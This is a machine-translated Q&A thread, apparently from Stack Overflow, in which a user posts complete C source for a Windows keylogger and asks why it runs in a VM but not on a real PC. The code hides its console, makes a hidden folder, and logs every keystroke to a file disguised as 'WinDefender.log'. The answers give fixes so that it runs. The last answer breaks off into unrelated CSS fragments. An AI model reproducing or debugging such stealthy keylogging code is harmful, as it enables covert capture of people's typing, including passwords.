Keylogger在VM上工作,但不在我的真实计算机上工作

时间:2018-07-07 21:06:48

标签: c keylogger

首先,这不是我的代码。它是Minhas Kamal's code,但我正在编辑它并从中学习。一切归功于他。

该代码在Windows 10虚拟机上可以正常运行,但是当我尝试在VM之外(在我自己的计算机,也是Windows 10)上运行它时,它确实可以编译并运行,但是问题是它没有不要创建任何目录“隐藏”,因此也不会创建日志文件“ WinDefender.log”。

我完全不知道问题是什么。任何帮助将不胜感激。

/**
* Developer: Minhas Kamal (minhaskamal024@gmail.com)
* Date: 15.Aug.2014
* Website: https://minhaskamal.github.io/StupidKeylogger
* License: MIT License
**/


#include <windows.h>
#include <time.h>
#include <stdio.h>

#define FILE_NAME "WinDefender.log" 

int main() {
    FreeConsole();

    CreateDirectory("C:/%Userprofile%/AppData/Roaming/Hidden", NULL);
    SetFileAttributes("C:/%Userprofile%/AppData/Roaming/Hidden", FILE_ATTRIBUTE_HIDDEN);
    SetFileAttributes("C:/%Userprofile%/AppData/Roaming/Hidden/WinDefender.log", FILE_ATTRIBUTE_HIDDEN);

    FILE *file = fopen("C:/%Userprofile%/AppData/Roaming/Hidden/WinDefender.log", "a"); 

    time_t date = time(NULL);
    fprintf(file, "0\n%s\t", ctime(&date));
    fclose(file);

    unsigned short ch, i;
    while (1) { //infinite loop

        ch = 1;
        while (ch<250) { //scans for 0-249 ASCII craracters
                         // this strange and extra loop helps in sensing fast-keystrokes with 
                         // minimum processor use
            for (i = 0; i<50; i++, ch++) {

                //when key is stroke
                if (GetAsyncKeyState(ch) == -32767) {

                    //append the ASCII code of the character
                    file = fopen("C:/%Userprofile%/AppData/Roaming/Hidden/WinDefender.log", "a"); 
                    fprintf(file, "%d ", ch);
                    fclose(file);
                }
            }
            Sleep(1);
        }
    }
}

3 个答案:

答案 0 :(得分:4)

  1. Win32 API的默认值为UNICODE,它是WCHAR(wchar_t)而不是CHAR(char)。
  2. %userprofile%指定驱动器名称。您不应该假定它是驱动器C。

阅读CreateDirectoryACreateDirectoryW上的MSDN文档,并在代码中或在工具链命令行中选择UNICODE ANSI字符代码集。

答案 1 :(得分:2)

全部替换

C:/%Userprofile%

使用

%Userprofile%

只需删除C:/,因为%Userprofile%已包含C:/Blah/Blah,因此您将拥有2个C:/C:/Blah/Blah

打开命令提示符,然后输入echo %USERPROFILE%,您将看到它的含义。

您可以尝试这些,看看哪个可行

CreateDirectory("%Userprofile%\\AppData\\Roaming\\Hidden", NULL);
CreateDirectory(L"%Userprofile%\\AppData\\Roaming\\Hidden", NULL);
CreateDirectory(_T("%Userprofile%\\AppData\\Roaming\\Hidden"), NULL);

暂时注释FreeConsole();以进行测试

if (GetFileAttributes("%Userprofile%\\AppData\\Roaming\\Hidden") == INVALID_FILE_ATTRIBUTES)
{
  //Directory does not exist
  CreateDirectory("%Userprofile%\\AppData\\Roaming\\Hidden", NULL);
  if(GetLastError() == ERROR_ALREADY_EXISTS) {
    printf("folder exists");    
  else if(GetLastError() == ERROR_PATH_NOT_FOUND) {
    printf("path not found (means folders before final folder not exist)");
  }
} else {
  printf("exists already");
}

答案 2 :(得分:0)

所有人,这是我的真实帐户。用我的真实邮件。我是JackJone。不过,这并不重要: 我已经设法更改了一些代码,它现在可以创建目录(是否隐藏)和日志文件。(是否隐藏)但是:

它什么也没写!代码:

 position: fixed;
 left: 0;